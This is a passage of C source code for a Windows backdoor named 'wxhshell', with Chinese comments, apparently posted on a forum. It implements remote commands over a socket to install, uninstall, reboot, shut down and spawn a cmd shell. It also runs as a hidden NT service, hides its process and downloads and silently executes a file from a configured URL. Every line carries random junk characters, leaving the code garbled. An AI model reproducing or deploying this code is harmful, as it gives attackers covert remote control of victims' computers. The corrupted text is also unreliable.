      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #w:6<$  
    break; 06peo d  
  } ,H+LE$=  
  // 安装 +HxL>\  
  case 'i': { %/(>>*}Kw|  
    if(Install()) ,) JSX o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A}cGag+sp  
    else *zR   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qmJ^@dxs  
    break; )-4xI4  
    } ={a_?l%  
  // 卸载 U%,N"]`  
  case 'r': { wRi` L7  
    if(Uninstall()) G,J~Ed  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lC&B4zec  
    else d|8iD`sZz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >S:>_&I`I  
    break; cjel6 nj  
    } Xu8_<%  
  // 显示 wxhshell 所在路径 @^';[P!  
  case 'p': { F]SA1ry  
    char svExeFile[MAX_PATH]; SdTJ?P+m  
    strcpy(svExeFile,"\n\r"); [Nn ?:5"  
      strcat(svExeFile,ExeFile); $MT'ZM  
        send(wsh,svExeFile,strlen(svExeFile),0); i@C$O.m(  
    break; _@47h86 Q  
    } =(~UK9`  
  // 重启 5z>kz/uxW  
  case 'b': { G} &{]w@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lbtVQW0V;o  
    if(Boot(REBOOT)) F9Ag687w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NZyGC Vh@  
    else { Hi 1@  
    closesocket(wsh); i: ZL0nH-  
    ExitThread(0); Q/,bEDc&  
    } U Ux]  
    break; wf<=r W'  
    } -H3tBEvoI  
  // 关机 {i7Wp$ug  
  case 'd': { YYz,sR'%|}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %\ i 7  
    if(Boot(SHUTDOWN)) ZgcJxWC<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hZ0CnY8 '  
    else { .#,!&Lt  
    closesocket(wsh); G' ~Z'  
    ExitThread(0); mOb*VH  
    } =Kv*M@  
    break; PSO9{!  
    } ^qaS  
  // 获取shell V^P]QQ\ )  
  case 's': { DB'd9<  
    CmdShell(wsh); TRl,L5wd-?  
    closesocket(wsh); e `!PQMLU  
    ExitThread(0); 1N_Gk&  
    break; R7o3X,-iwn  
  } * ?a-m\  
  // 退出 G $TLWfm  
  case 'x': { cu4&*{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8X@p?43  
    CloseIt(wsh); S0\;FmLIc  
    break; bm>,$GW(  
    } QQso<.d&  
  // 离开 v>FsP$p4yE  
  case 'q': { "eq{_4dL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :@:i*2=  
    closesocket(wsh); brA\Fp^  
    WSACleanup(); 3iHUG^sLW  
    exit(1); hlpi-oW`  
    break; iyF~:[8  
        } mTcopyp  
  } 2g elmQnc  
  } BitP?6KX  
B&~#.<23:  
  // 提示信息  R\%&Q|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2nW:|*:/p6  
} 3[g%T2&[  
  } S <C'#vj  
(j^Qa~{mG4  
  return; 4aAuE0  
} d`he Wv^/`  
Jhclg0q  
// shell模块句柄 j {w'#x,  
int CmdShell(SOCKET sock) B>&Q]J+R  
{ uT'}_2=:  
STARTUPINFO si; x=g=e <_  
ZeroMemory(&si,sizeof(si)); RKu'WD?sdH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2sj[hI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I%]~]a  
PROCESS_INFORMATION ProcessInfo; jN\} l|;q  
char cmdline[]="cmd"; 'u6T^YS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mXd,{b'  
  return 0; PuvC MD  
} Y40`~  
&@tD/Jw3  
// 自身启动模式 :a M ZJm  
int StartFromService(void) *f%uc  
{ x;&01@m.  
typedef struct #-xsAKi  
{ OOzk@j^  
  DWORD ExitStatus; v=kQ / h  
  DWORD PebBaseAddress; -}u=tiNG  
  DWORD AffinityMask; R?)M#^"W  
  DWORD BasePriority; Mu,}?%  
  ULONG UniqueProcessId; !_Z\K$Ns  
  ULONG InheritedFromUniqueProcessId; l<5@a (  
}   PROCESS_BASIC_INFORMATION; A>@ i TI  
Y}<w)b1e|  
PROCNTQSIP NtQueryInformationProcess; 6w3z&5DY|  
k8 !|WqfP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #wXq'yi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; woCmpCN*I  
>K }j}M%  
  HANDLE             hProcess; 00Tm]mMQX  
  PROCESS_BASIC_INFORMATION pbi; >WfkWUb  
OAoTsqj6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f)`_su U  
  if(NULL == hInst ) return 0; \LYB% K}  
4e6x1`Y{xB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C-i9F%..  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OF[y$<jM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MKqMH,O  
T5* t~`bfU  
  if (!NtQueryInformationProcess) return 0; !S0$W?*  
K4 \{G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rI/;L<c  
  if(!hProcess) return 0; ~#z8Q{!O  
b@GL*Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Af~>}-`a  
ObK-<kGcB  
  CloseHandle(hProcess); ]mDsd*1  
{+`'ZU6C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c1!0Z28  
if(hProcess==NULL) return 0; }I3 ZNd   
0 rM'VgB  
HMODULE hMod; ;WydXQ}Q^  
char procName[255]; eIZ7uSl  
unsigned long cbNeeded; yQAW\0`  
Y nD_:ZK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :c4iXK0_^?  
%N jRD|  
  CloseHandle(hProcess); (OA-Mgyc  
F8u;C:^d  
if(strstr(procName,"services")) return 1; // 以服务启动 1k=w 9  
criQa<N"  
  return 0; // 注册表启动 $1aJdZC7  
} iME )Jl&  
!V<c:6"  
// 主模块 vJybhdvP  
int StartWxhshell(LPSTR lpCmdLine) I-?PTr  
{ 0\qLuF[)  
  SOCKET wsl; R,]J~TfPK  
BOOL val=TRUE; x;Qs_"t];3  
  int port=0; I},]Y~Y3  
  struct sockaddr_in door; R^v-%mG9  
uu5AW=j  
  if(wscfg.ws_autoins) Install(); MR=dQc  
EESGU(  
port=atoi(lpCmdLine); +<l6!r2Z  
6wIo95`  
if(port<=0) port=wscfg.ws_port; &@g~o0  
(8JL/S;Z$  
  WSADATA data;  "! -  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |hx"yy'ux  
NOC8h\s}(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {RG4m{#9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v'0WE  
  door.sin_family = AF_INET; 9'$\GN{0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0m3:!#\  
  door.sin_port = htons(port); mP!=&u fcU  
kGz0`8U Ru  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ox| ?  
closesocket(wsl); =1kE2u  
return 1; }u3Q*oAGl  
} ; 9n}P@  
%4bGI/\/  
  if(listen(wsl,2) == INVALID_SOCKET) { z%FBHj  
closesocket(wsl); Z<P?P`  
return 1; Ch] `@(l  
} Z-md$=+}w  
  Wxhshell(wsl); L1H k[j]X|  
  WSACleanup(); Zqo  
o\TXW qt  
return 0; /$EX -!ie  
$,b1`*  
} g1!ek  
0mt lM(  
// 以NT服务方式启动 UFE# J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q1Jw7R#?l  
{ "b~-`ni  
DWORD   status = 0; Gy]ZYo(  
  DWORD   specificError = 0xfffffff; QL].)Vgf  
jDO"?@+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [:hTwBRF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sKg IKYG}T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Oax6_kmOj  
  serviceStatus.dwWin32ExitCode     = 0; pr=f6~Z-y  
  serviceStatus.dwServiceSpecificExitCode = 0; ;7:_:o[.  
  serviceStatus.dwCheckPoint       = 0; !~j-5+DI  
  serviceStatus.dwWaitHint       = 0; \GF 9;N}V  
(BT{\|,V_m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o4.?m6d  
  if (hServiceStatusHandle==0) return; 7>-"r*W +z  
3rxB]-  
status = GetLastError(); xYLTz8g=  
  if (status!=NO_ERROR) [=EmDP:@  
{ /h]#}y j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qS9z0HLE  
    serviceStatus.dwCheckPoint       = 0; (93$ L zZ  
    serviceStatus.dwWaitHint       = 0; >~F_/Z'5  
    serviceStatus.dwWin32ExitCode     = status; &.v|yG]&  
    serviceStatus.dwServiceSpecificExitCode = specificError; F `4a0~?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oCxh[U@*D  
    return; ,J@A5/B,AA  
  } \kR:GZ`{UV  
w/1Os!p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B[$L)y'-;  
  serviceStatus.dwCheckPoint       = 0; uo TTHj7cq  
  serviceStatus.dwWaitHint       = 0; C:9a$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e{Y8m Xu  
} Jan~R ran  
hZwbYvu  
// 处理NT服务事件,比如:启动、停止 4[XiD*  *  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Fkvf[!Ci  
{ =Hd+KvA  
switch(fdwControl) K,f"Q<sU%  
{ mNQ~9OJ1  
case SERVICE_CONTROL_STOP: nb30<h  
  serviceStatus.dwWin32ExitCode = 0; 0en Bq>vr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _xmS$z)TO  
  serviceStatus.dwCheckPoint   = 0; i-YSt5iq  
  serviceStatus.dwWaitHint     = 0; :Z R5<Y>  
  { U =i=E}'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H %bXx-  
  } (i.7\$4  
  return; /5wIbmz@I  
case SERVICE_CONTROL_PAUSE: )azK&f@tR|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W<c95QD.  
  break; |?gO@?KDZ  
case SERVICE_CONTROL_CONTINUE: N<N uBtkA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9F "^MzZ  
  break; xTGdh  
case SERVICE_CONTROL_INTERROGATE: PK&\pkX  
  break; 4(D1/8  
}; "*T4%3dA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C}=9m A  
} +H  SKFp  
(:|rCZC  
// 标准应用程序主函数 X(npgkVP\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /J5)_> R:  
{ K} ) w  
haSC[[o=  
// 获取操作系统版本 ]Vm:iF#5P  
OsIsNt=GetOsVer(); \%czNF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #zed8I:w  
T1U8ZEK<iu  
  // 从命令行安装 |44 E:pA  
  if(strpbrk(lpCmdLine,"iI")) Install(); C@P*:L_  
%jh gKq  
  // 下载执行文件 [Te"|K':  
if(wscfg.ws_downexe) { Vpe\Okt:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %0_}usrsk  
  WinExec(wscfg.ws_filenam,SW_HIDE); #JYH5:*  
} ?m\? #  
K 9tr Iy$v  
if(!OsIsNt) { VUUE2k;^  
// 如果时win9x,隐藏进程并且设置为注册表启动 o^3X5})sv  
HideProc(); v/GZByco>  
StartWxhshell(lpCmdLine); iO dk)  
} M `49ydh&  
else *3A)s O  
  if(StartFromService()) 6R|^IPOGp  
  // 以服务方式启动 5_[we1$P  
  StartServiceCtrlDispatcher(DispatchTable); S7h?tR*u  
else FT Ytf4t  
  // 普通方式启动 % pQi}x  
  StartWxhshell(lpCmdLine); 43s8a  
)ZMR4U$+v  
return 0; DR(/|?k+  
}
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只看该作者 1 发表于: 2006-10-10
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